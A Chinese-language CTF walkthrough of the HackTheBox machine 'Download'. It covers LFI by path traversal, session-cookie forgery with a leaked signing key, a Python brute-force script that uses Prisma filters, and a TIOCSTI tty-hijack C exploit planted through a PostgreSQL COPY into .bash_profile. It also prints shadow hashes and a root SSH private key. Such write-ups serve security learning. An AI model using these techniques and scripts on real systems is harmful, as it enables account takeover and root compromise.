基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -Pn 10.10.11.226
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-07 15:33 CST
Nmap scan report for 10.10.11.226
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
| 256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_ 256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.16 seconds

80

需要加hosts,在线文件共享:

1
10.10.11.226 download.htb

Download

尝试注册报错(后面根据代码可以知道是用户名有最短长度要求),但可以匿名上传下载,文件名是uuid:

LFI

根据响应头知道是Express,可以猜测代码大概类似这样:

1
2
3
4
5
6
# route 
/download/{file_name}

return {file_name}
../xxxx
..%2fxxxx

那可以尝试读取其他文件,因为是Express,尝试读取app.js,注意编码,验证存在LFI,并且代码中得到download_session使用的key:

1
2
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"]

package.json

同样的方法读取package.json,得到用户名wesley(这个用户名也可以通过修改id得到):

auth.js

auth里可以知道用户名有最短长度要求:

download_session

根据前面的信息重新注册登录,得到的cookie解码,发现user相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"flashes": {
"info": [],
"error": [],
"success": [
"You are now logged in."
]
},
"user": {
"id": 73,
"username": "miao@miao.com"
}
}

express cookie,已有key,可以使用cookie-monster签名

尝试直接修改id为1,去掉用户名,生成新cookie,然后查看home得到WESLEY上传的文件:

1
cookie-monster -e -f cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session

但文件中并没什么有用信息

home

继续看代码,Home.js发现prisma:

根据文档查看prisma文件:

1
http://download.htb/files/download/..%2fnode_modules%2f.prisma%2fclient%2fschema.prisma

user model中有username和password,而prisma可以使用一些条件进行过滤:

brute password

后面就是根据这些信息,通过使用prisma支持的过滤条件来爆破出wesley的密码md5,解出来密码(爆破脚本来自discord):

1
2
3
4
$ python3 brute.py
f88976c10af66915918945b9679b2bd3

dunkindonuts

brute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import string, subprocess, json, re, requests

regex = r"download_session=([\w=\-_]+).*download_session\.sig=([\w=\-_]+)"


def writeJson(j):
with open("cookie.json", "w") as f:
f.write(json.dumps(j))

def generateCookieAndSign(startsWith):
j = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":startsWith}}}
writeJson(j)
out = subprocess.check_output(["cookie-monster", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")
matches = re.findall(regex, out, re.MULTILINE)[0]
return matches

passwd = ""
alphabet="abcdef"+string.digits
for i in range(32):
#print(passwd)
for s in alphabet:
p = passwd + s
(download_session, sig) = generateCookieAndSign(p)
cookie = {"download_session": download_session, "download_session.sig": sig}
#print(p, cookie)
print(p, end='\r')
r = requests.get('http://download.htb/home/', cookies=cookie)
if len(r.text) != 2174:
passwd = p
break
print()
print(passwd)

user flag

得到的账号密码ssh登录:

1
2
ssh wesley@10.10.11.226
dunkindonuts

提权信息

pspy发现root定期切换到postgres执行一些操作:

1
2
3
cat /etc/passwd | grep postgresql

postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

枚举服务可以发现download-site, 对应文件里得到pstgresql数据库账号密码:

1
2
3
4
systemctl list-units --type=service
cat /etc/systemd/system/download-site.service

postgresql://download:CoconutPineappleWatermelon@localhost:5432/download

postgresql

得到的信息连接postgresql数据库,发现有写文件权限,可以通过数据库向postgresql用户目录写文件

再结合前面root会定期切换到postgresql用户,这种场景可以劫持root用户tty来执行一些文件:

1
2
3
psql "postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

download=> \du

提权 & root flag

root su切换到postgresql,会自动加载postgresql用户目录的bashrc,bash_profile之类文件并执行其中命令,而结合前面信息,可以通过postgresql数据库向postgresql用户目录写文件

那就是本地编译exp,通过数据库写文件,然后等待root触发执行:

1
2
3
4
gcc exp.c -static -o exp

# postgresql数据库内
download=> COPY (SELECT CAST('/tmp/miao/exp;' AS text)) TO '/var/lib/postgresql/.bash_profile';

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\nchmod +s /bin/bash\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}

shadow

1
2
root:$6$1MketXLaRIbeeHXh$B.wJMAZJb5kkVDvTP3UG283rTDEEf3nQDtxppPONWfIdHBoQtm3rm3EHphGpKJsLq39xK7zzScJIhLBDcK8/Y.:19468:0:99999:7:::
wesley:$6$6Vmkfr1F2be5/zab$AHFgSffUU2erjnzMtyxtIrOQWa3vz7Apra0tAnphA4Nf//3Fx.JK7M9IKjlseHjhbFIb8Cwif9sS60QDwXbUV/:19468:0:99999:7:::

root_id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

参考资料